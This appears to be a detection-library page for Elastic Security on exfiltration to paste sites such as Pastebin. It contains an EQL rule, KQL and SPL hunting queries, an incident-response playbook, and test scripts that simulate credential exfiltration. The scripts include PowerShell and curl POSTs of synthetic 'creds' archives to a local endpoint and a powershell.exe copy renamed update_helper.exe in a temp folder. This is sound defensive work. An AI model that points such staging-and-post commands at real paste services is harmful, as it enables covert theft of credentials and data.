THREAT-PasteSite-TextStorageExfil Elastic Security · Elastic

Detect Data Exfiltration to Public Paste and Text-Storage Sites in Elastic Security

Public paste and text-storage sites — Pastebin, Ghostbin, Rentry, Hastebin, dpaste, paste.ee, and similar services — let anyone post arbitrary text via a simple HTTPS POST with no authentication and no account required. Unlike code-repository exfiltration (T1567.001, e.g. GitHub Gist, which requires an account and leaves attributable commit metadata) or cloud-storage exfiltration (T1567.002, e.g. S3/Azure Blob, which requires provisioned storage and credentials), paste sites are frictionless: an adversary drops one HTTP request and the data is live at a public URL within seconds. Web-filtering categorization rarely blocks them (most proxies bucket paste sites under 'technology' or 'reference', not 'file sharing' or 'uploads'), and the destination is TLS-encrypted, so DLP tooling that inspects only unencrypted egress or that keys off file-sharing categories misses it entirely. This makes paste sites a favorite low-effort channel for two distinct actor classes: commodity infostealers (RedLine, Vidar, LummaC2 builders have shipped configurations that POST harvested credential/cookie logs directly to Pastebin's API endpoint) and extortion/data-leak operators (LAPSUS$ and similar groups have posted proof-of-compromise source-code snippets and credential dumps to paste sites as pre-ransom leverage before standing up a dedicated leak site). The detection signal is a non-browser process — a script interpreter, a compiled malware binary, or an automation tool that has no legitimate reason to post to a paste service — issuing an HTTPS connection to a paste-site domain, particularly one immediately following bulk file or credential-store access.

MITRE ATT&CK

Tactic
Exfiltration

Elastic Detection Query

Elastic Security (Elastic)
eql 
network where event.category == "network" and network.protocol == "http" and url.domain in ("pastebin.com", "paste.ee", "ghostbin.com", "rentry.co", "hastebin.com", "dpaste.org", "dpaste.com", "controlc.com", "0bin.net", "paste2.org", "pastelink.net", "justpaste.it", "privatebin.net") and not process.name in ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe", "opera.exe")
high severity medium confidence

Elastic EQL rule over ECS network events (Elastic Defend / Packetbeat HTTP module) flagging any process other than a recognized browser connecting to a known paste/text-storage site domain via url.domain, a genuine ECS field populated for HTTP(S) traffic captured by Elastic Defend's network monitoring.

Data Sources

Elastic Defend network eventsPacketbeat HTTP module

Required Tables

logs-endpoint.events.network-*

False Positives & Tuning

  • Developers or researchers legitimately sharing code/config snippets via a CLI tool rather than a browser
  • CI/CD pipelines uploading build logs to an approved paste service
  • Leaked-credential monitoring tools issuing read-only GET requests to paste sites

Other platforms for THREAT-PasteSite-TextStorageExfil

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulated Non-Browser POST to a Paste-Site-Style Endpoint

    Expected signal: Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents: powershell.exe connecting to 127.0.0.1:8443 with a RemoteUrl resembling a paste-API path. If a local test listener is running, its logs will show the POST body containing the synthetic credential payload.

  2. Test 2Repeated Paste-Style Connections from a Temp-Directory Binary

    Expected signal: Sysmon Event ID 1: update_helper.exe (a copy of powershell.exe) executing from %TEMP%\atomic_paste_test\. Sysmon Event ID 3: three network connection events to the test endpoint spaced ~5 seconds apart, initiated by the temp-directory binary.

  3. Test 3Bulk File Staging Followed by Paste-Style Post

    Expected signal: Process creation for tar and curl; a network connection event (Sysmon-for-Linux Event ID 3 / auditd network record) from curl to the test endpoint within seconds of the archive being written to /tmp.

Last updated: 2026-07-17 Research depth: deep
References (4)

Response Playbook

Triage

  1. Identify the initiating process and determine whether it is a documented tool with a legitimate business need to post to a paste service (internal inventory of approved paste-posting automation, if any exists).
  2. If the process is unrecognized, check its file hash, signature, and parent process chain — infostealer builders (RedLine, Vidar, LummaC2) are typically delivered via phishing, malvertising, or cracked-software bundles and run from user-writable directories.
  3. Determine what the process accessed immediately before the connection: browser credential stores, cookie databases, or a bulk archive (Sysmon Event ID 11 / DeviceFileEvents) in the minutes preceding the paste-site connection is the near-universal 'collect then post' pattern.
  4. If proxy/DPI visibility into the HTTPS session's decrypted payload exists, retrieve the POST body to confirm whether real data (not test/benign content) was transmitted, and if the paste URL is retrievable, check the resulting paste's public visibility and content.
  5. Check whether the same paste-site destination or process hash appears on other hosts, indicating a broader campaign rather than an isolated infection.
  6. For extortion/leak-actor scenarios, check whether the posted content includes internal source code, credentials, or documents consistent with pre-ransom leverage rather than commodity credential theft.

Containment

  1. Block the specific paste-site domain and URL path at the perimeter/proxy if the paste is still live, and request takedown from the paste service's abuse-reporting channel.
  2. Isolate the affected endpoint via EDR network isolation, particularly if credential-store or bulk-archive access was confirmed prior to the connection.
  3. Force credential rotation for every account with browser-saved or application-saved credentials on the host if an infostealer is confirmed.
  4. Consider category-based egress filtering that blocks the 'paste bins'/'text sharing' proxy category for standard endpoints, exempting only documented developer workstations.

Evidence Collection

  1. Full network connection record (Sysmon Event ID 3 / DeviceNetworkEvents) for the paste-site session, including destination domain and process attribution.
  2. Proxy/DPI transcript of the HTTPS session if decryption is available, capturing the POST body and resulting paste URL.
  3. The malware binary or script and its delivery artifact (phishing email, cracked-software installer, malicious ad) for family attribution.
  4. Browser credential store, cookie database, and any staged archive files created on the host in the window preceding the connection.

Escalation Criteria

  • !Confirmed successful post of corporate credentials, source code, or customer data to a publicly accessible paste URL — escalate immediately given the near-zero time-to-public-exposure of this channel.
  • !The posted content or paste-site account is linked to a known extortion/data-leak actor rather than commodity credential-stealer telemetry.
  • !The affected host is a server, domain controller, or privileged workstation.
  • !Multiple hosts show the same paste-site destination or malware hash, indicating an organization-wide campaign.

Investigation Guide

Related Techniques

T1567 — Exfiltration Over Web Service (parent technique; paste sites are one of several web-service categories covered)T1567.001 — Exfiltration to Code Repository (the account-based, attributable sibling of this technique)T1567.002 — Exfiltration to Cloud Storage (the provisioned-storage sibling; requires credentials, unlike anonymous paste posting)T1555.003 — Credentials from Web Browsers (the most common data type harvested and posted by commodity infostealers)T1213 — Data from Information Repositories (frequently the source of source-code or document content posted by extortion actors)

Forensic Artifacts

  • >Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents for the outbound HTTPS session to the paste-site domain.
  • >Proxy/DPI logs with decrypted HTTP transcript, if available, capturing the POST body and resulting paste URL.
  • >Malware configuration strings extracted via static/dynamic analysis identifying the hardcoded paste-service API endpoint.
  • >Browser credential store and staged archive files on the host establishing what was collected prior to posting.
  • >The live (or since-removed, via web-archive cache) paste content itself for scope and impact assessment.

Tuning Guidance

Maintain an explicit inventory of approved developer or automation tooling permitted to post to paste services, and exclude by process hash plus destination domain rather than process name alone (which malware can spoof). If your web-filtering proxy exposes an HTTP method or byte-size field, tighten this detection to POST-only requests above a minimum body size to further separate exfiltration from benign GET-based leak-monitoring lookups. Consider promoting the repeated-connection hunting query to a primary rule once your paste-posting tool inventory is fully documented — a single paste from a known developer utility is common, but the same tool posting to three different paste domains in one session is not.

Hunting Queries

Hunts for non-browser processes making repeated connections to paste-site domains — a pattern consistent with malware configured to periodically batch and post harvested data, rather than a single manual developer paste.

Hunting — KQL
kql 
// Hunt for non-browser processes posting to paste sites more than once — indicates batch/looped exfil rather than a one-off manual paste
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where isnotempty(RemoteUrl)
| where RemoteUrl has_any (dynamic(["pastebin.com", "paste.ee", "ghostbin.com", "rentry.co", "hastebin.com", "dpaste.org"]))
| where InitiatingProcessFileName !in~ (dynamic(["chrome.exe", "msedge.exe", "firefox.exe", "brave.exe"]))
| summarize ConnectionCount = count(), Domains = make_set(RemoteUrl) by DeviceName, InitiatingProcessFileName
| where ConnectionCount >= 2
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=proxy OR index=web (url="*pastebin.com*" OR url="*paste.ee*" OR url="*ghostbin.com*" OR url="*rentry.co*" OR url="*hastebin.com*" OR url="*dpaste.org*")
NOT process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe")
| stats count as ConnectionCount, values(url) as Domains by src_ip, process_name
| where ConnectionCount>=2
| sort - ConnectionCount

Hunts for paste-site connections originating from processes running out of user-writable or temporary directories — locations where legitimate developer tooling rarely executes from, but where phishing-delivered stealer payloads almost always land.

Hunting — KQL
kql 
// Hunt for paste-site connections from processes running out of user-writable/temp directories
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where isnotempty(RemoteUrl)
| where RemoteUrl has_any (dynamic(["pastebin.com", "paste.ee", "ghostbin.com", "rentry.co", "hastebin.com"]))
| where InitiatingProcessFolderPath has_any (dynamic(["\\AppData\\", "\\Temp\\", "\\Downloads\\", "\\ProgramData\\"]))
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, RemoteUrl
| sort by Timestamp desc
Hunting — SPL
spl 
index=proxy OR index=web (url="*pastebin.com*" OR url="*paste.ee*" OR url="*ghostbin.com*" OR url="*rentry.co*" OR url="*hastebin.com*")
process_path="*\\AppData\\*" OR process_path="*\\Temp\\*" OR process_path="*\\Downloads\\*" OR process_path="*\\ProgramData\\*"
| table _time, host, user, process_name, process_path, url
| sort - _time

Atomic Red Team Tests

Test 1 Simulated Non-Browser POST to a Paste-Site-Style Endpoint
windows

Simulates an infostealer's exfiltration step by issuing an HTTPS POST containing a synthetic credential payload from PowerShell (a non-browser process) to a local test endpoint styled after a paste-site API, replicating the direct-post pattern used by RedLine/Vidar/LummaC2 builders without contacting a real external paste service.

Command

powershell 
$TestEndpoint = "https://127.0.0.1:8443/api/api_post.php"
$Body = @{ api_dev_key = "test"; api_paste_code = "synthetic-credential-export user=testuser pass=synthetic-$(Get-Random)" }
try {
  Invoke-WebRequest -Uri $TestEndpoint -Method POST -Body $Body -UseBasicParsing -TimeoutSec 5 -SkipCertificateCheck
} catch {}
Write-Host 'Atomic test complete: simulated non-browser POST to paste-style endpoint generated'

Expected Telemetry

Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents: powershell.exe connecting to 127.0.0.1:8443 with a RemoteUrl resembling a paste-API path. If a local test listener is running, its logs will show the POST body containing the synthetic credential payload.

Expected Detection

KQL/SPL detection flags powershell.exe as a non-browser process connecting to a paste-site-style domain/path. Adjust the test to target a domain in the monitored list (or add a loopback exception override for lab validation) since production queries match against real paste-site hostnames.

Test 2 Repeated Paste-Style Connections from a Temp-Directory Binary
windows

Simulates the periodic batch-and-post behavior of infostealer malware by opening three connections spaced several seconds apart to a paste-style test endpoint from a process running out of a user-writable temp directory, replicating both hunting queries in this detection pack.

Command

powershell 
$TestDir = "$env:TEMP\atomic_paste_test"
New-Item -ItemType Directory -Path $TestDir -Force | Out-Null
Copy-Item "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe" "$TestDir\update_helper.exe" -ErrorAction SilentlyContinue
for ($i = 0; $i -lt 3; $i++) {
  try {
    Invoke-WebRequest -Uri "https://127.0.0.1:8443/api/api_post.php" -Method POST -Body @{ data = "batch-$i" } -UseBasicParsing -TimeoutSec 5 -SkipCertificateCheck
  } catch {}
  Start-Sleep -Seconds 5
}
Write-Host 'Atomic test complete: 3 periodic paste-style connections from temp-directory binary generated'

Cleanup

powershell 
Remove-Item "$env:TEMP\atomic_paste_test" -Recurse -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: update_helper.exe (a copy of powershell.exe) executing from %TEMP%\atomic_paste_test\. Sysmon Event ID 3: three network connection events to the test endpoint spaced ~5 seconds apart, initiated by the temp-directory binary.

Expected Detection

The temp-directory hunting query flags update_helper.exe based on its InitiatingProcessFolderPath containing '\\Temp\\'. The repeated-connection hunting query detects the same process connecting to a paste-style domain multiple times in a single session.

Test 3 Bulk File Staging Followed by Paste-Style Post
linux

Simulates the 'collect then post' pattern by creating a synthetic archive of test files before issuing the paste-style POST, so analysts can validate the file-staging-to-exfiltration correlation described in the triage playbook.

Command

bash 
mkdir -p /tmp/atomic_paste_stage && echo 'synthetic-secret-data' > /tmp/atomic_paste_stage/creds.txt
tar -czf /tmp/atomic_paste_stage.tar.gz -C /tmp/atomic_paste_stage .
curl -s -k -X POST https://127.0.0.1:8443/api/api_post.php -d "api_paste_code=$(base64 -w0 /tmp/atomic_paste_stage.tar.gz | head -c 200)" -o /dev/null || true
echo 'Atomic test complete: staged archive followed by simulated paste-style POST generated'

Cleanup

bash 
rm -rf /tmp/atomic_paste_stage /tmp/atomic_paste_stage.tar.gz

Expected Telemetry

Process creation for tar and curl; a network connection event (Sysmon-for-Linux Event ID 3 / auditd network record) from curl to the test endpoint within seconds of the archive being written to /tmp.

Expected Detection

File-staging-then-connection correlation in the triage playbook flags the archive write in /tmp immediately preceding the outbound POST from curl, a process with no legitimate business reason to contact a paste-site-style endpoint.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (1)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1567.003Exfiltration to Text Storage Sites

Related Techniques

T1567Exfiltration Over Web ServiceT1567.001Exfiltration to Code RepositoryT1567.002Exfiltration to Cloud StorageT1555.003Credentials from Web BrowsersT1213Data from Information Repositories

Same Tactic: Exfiltration

Popular Detections